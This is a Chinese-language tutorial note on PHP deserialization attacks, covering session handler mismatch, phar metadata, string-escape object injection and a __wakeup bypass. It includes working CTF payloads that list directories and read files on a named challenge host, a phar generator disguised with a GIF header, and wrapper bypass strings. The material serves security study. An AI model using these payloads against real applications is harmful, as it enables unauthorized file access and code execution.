本篇笔记内容包括漏洞成因、Session反序列化、phar反序列化、字符逃逸等相关知识。
概念
在了解反序列化漏洞之前,我们先了解下序列化和反序列化,序列化是将变量或对象转换成字符串的过程,使用 serialize() 函数。
案例引入
案例输出
反序列化就是将字符串转换成对象或变量。使用 unserialize() 函数。
字母表示 | 含义 |
---|---|
a | array,数组 |
b | boolean,布尔,值只能为true和false |
d | double,双精度浮点型,用来存储小数 |
i | integer,整型,用来存储整数 |
o | common object,php3引入用来标识对象,php4以后被O取代。 |
r | reference,引用 |
C | custom object,自定义对象,PHP5时引入的 |
s | string,字符串 |
N | null,空值 |
R | pointer reference,指针引用 |
U | Unicode string,Unicode编码的字符串 |
O | Object,对象。用来表示实例化对象 |
常用魔术方法
__construct(): // 构造函数,当对象创建(new)时会自动调用但在unserialize()时是不会自动调用的
__destruct(): // 析构函数当对象被销毁时会自动调用
__wakeup(): // unserialize()时会自动调用
__invoke(): // 当尝试以调用函数的方法调用一个对象时触发
__call(): // 在对象上下文中调用不可访问的方法时触发
__callStatic(): // 在静态上下文中调用不可访问的方法时触发
__get(): // 从不可访问的属性读取数据时触发
__set(): // 将数据写入不可访问的属性时触发
__isset(): // 在不可访问的属性上调用 isset( )或 empty()触发
__unset(): // 在不可访问的属性上使用 unset()时触发
__toString(): // 把类当作字符串处理时触发
__sleep(): // 序列化时如果存在__sleep(),该方法会被优先调用。
Session反序列化
概念
PHP session是一个特殊的变量,用于存储有关用户会话的信息,或更改用户会话的设置。session变量保存的信息是单一用户的,并且可供应用程序中的所有页面使用。它为每个访问者创建一个唯一的id (UID),并基于这个UID来存储变量。UID存储在cookie 中,亦或通过URL进行传导。
会话过程: 当开始一个会话时,PHP会尝试从请求中查找会话ID(通常通过会话cookie),如果请求中不包含会话ID信息,PHP就会创建一个新的会话。会话开始之后,PHP就会将会话中的数据设置到$_SESSION变量中。当PHP停止的时候,它会自动读取$_SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
默认情况下,PHP使用内置的文件会话保存管理器(files)来完成会话的保存。可以通过调用函数session_start()来手动开始一个会话。如果配置项 session.auto_start 设置为1,那么请求开始的时候,会话会自动开始。
PHP脚本执行完毕之后,会话会自动关闭。同时,也可以通过调用函数session_write_close()来手动关闭会话。
了解了有关session的概念后,还需要了解php.ini中一些Session配置
session.save_path="" 设置session的存储路径
session.save_handler="" 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string 定义用来序列化/反序列化的处理器名字。默认使用php
存储引擎
PHP中的session中的内容默认是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_PHPSESSID来进行命名的,文件的内容就是session值的序列化之后的内容。
session.serialize_handler有如下三种取值
存储引擎 | 存储方式 |
---|---|
php_binary | 键名的长度对应的ASCII字符+键名+经serialize()后的值 |
php | 键名+竖线+经serialize()后的值 |
php_serialize | (php<5.5.4)经serialize()后的值 |
linux常见存储session路径
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
有$_SESSION赋值
Session反序列化漏洞: 当网站序列化存储session与反序列化读取session的方式不同时,就可能导致session反序列化漏洞的产生。一般都是以php_serialize序列化存储session,以PHP反序列化读取session,造成反序列化攻击。
无$_SESSION赋值(php>5.4.0)
使用upload_process机制,在$_SESSION中创建一对键值,其中值可控。
以Jarvis OJ题目为例:http://web.jarvisoj.com:32784
先找到phpinfo页面看配置,自己弄个表单页面
<form action="http://web.jarvisoj.com:32784/index.php" method="POST"enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file" />
<input type="submit" />
</form>
抓包上传,修改文件名
payload:
|O:5:\"OowoO\":1:+{s:4:\"mdzz\";s:40:\"print_r(scandir(dirname(\_\_FILE\_\_)));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:62:\"print_r(file_get_contents(\"/opt/lampp/temp/sess_xxxxxxxxx"));\";}
phar反序列化
概念
phar反序列化就是可以在不使用unserialize()函数进行反序列化。
phar文件的结构由四个部分组成:
- stub:phar的文件标识,前面内容不限,但必须以 __HALT_COMPILER();?> 结尾,否则无法识别为phar文件
- manifest:压缩文件的属性等信息,以序列化的形式存储自定义的 meta-data,这里就是利用点
- content:压缩文件的内容
- signature:签名,在文件末尾
漏洞原因:使用伪协议 phar:// 读取文件时,文件内容被解析成phar对象,然后phar对象内的meta-data信息会被反序列化,因此会造成反序列化漏洞。
利用条件
- phar文件要能够上传到服务器端
- 要有可用的魔术方法做 “跳板”
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
受影响的函数 | |||
---|---|---|---|
fileatime() | filectime() | file_exists() | file_get_contents() |
file_put_contents() | file() | filegroup() | fopen() |
fileinode() | filemtime() | fileowner() | fileperms() |
is_dir() | is_executable() | is_file() | is_link() |
is_readable() | is_writable() | is_writeable() | parse_ini_file() |
copy() | unlink() | stat() | readline() |
生成phar文件
注意:要将php.ini 中的 phar.readonly 选项设置为Off,否则无法生成 phar文件
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
反序列化字符逃逸
概念
在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。
php反序列化特性
- PHP在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的。 - 在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败
- 对类中不存在的属性也会进行反序列化
字符变多
只需要一个变量
此题中对序列化中的x替换为yy,可能导致字符串长度增加。
当传入 u=admin,序列化为 a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";}
替换反序列化后不满足 $a[1]===‘admin’ 条件。
当传入 u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:“admin”;},此时替换序列化的结果为a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"i:1;s:5:"admin";} ";i:1;s:3:"aaa";}
此时 yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy 的长度刚好为38,不会报错,再加上后面的 ;i:1;s:5:“admin”} 成功反序列化,再后面aaa的就被忽略了。
字符变少
需要两个变量
username和password为空时:a:3:{i:0;s:0:"";i:1;s:0:"";i:2;s:5:"guest";}
要想得到flag,就要使得 p 等于";i:2;s:5:"admin";}
,长度为19,经过观察序列化后";i:1;s:
这部分是不会改变的,因为整个payload肯定是不超过100个字符的,所以加上后面的长度";i:1;s:xx:"
为12个字符,这里存在着sec的替换,我们可以输入4个sec替换为空,刚好空出12个字符,可以将";i:1;s:xx:"
这12个字符反序列化后在第一个元素值中,使得后面逃匿。
最后payload
u=secsecsecsec&p=";i:1;s:4:"eval";i:2;s:5:"admin";}
序列化后:a:3:{i:0;s:12:"secsecsecsec";i:1;s:19:"";i:2;s:5:"admin";}";i:2;s:5:"guest";}
替换后:a:3:{i:0;s:12:"";i:1;s:19:"";i:2;s:5:"admin";}";i:2;s:5:"guest";}
也可以多添加几个sec,假设为5个,此时空出15个字符,减去";i:1;s:xx:"
这12个字符,还剩下3个,可以再输入三个字符填充。
u=secsecsecsecsec&p=123";i:1;s:4:"eval";i:2;s:5:"admin",}
tips
php7.1之后对类属性不敏感
7.1之前,如果变量前是protected,序列化结果会在变量名前加上\x00*\x00
8.但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没\x00*\x00也依然会输出 abc
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
phar://不能出现在首部
这时候可以使用compress.zlib://或compress.bzip2://或zlib://
(有些环境加斜线不成功)
compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://
__wakeup()绕过
适用于PHP5<5.6.25 或 PHP7<7.0.10
当反序列化时对象属性个数大于实际的个数时可以绕过__wakeup()函数的执行。
O:4:"Demo":2:{s:4:"test";}
这里类对象属性只有一个test,但是写的个数为2,可以绕过__wakeup()的执行
欢迎关注公众号,公众号主要不定时发布一些漏洞POC脚本。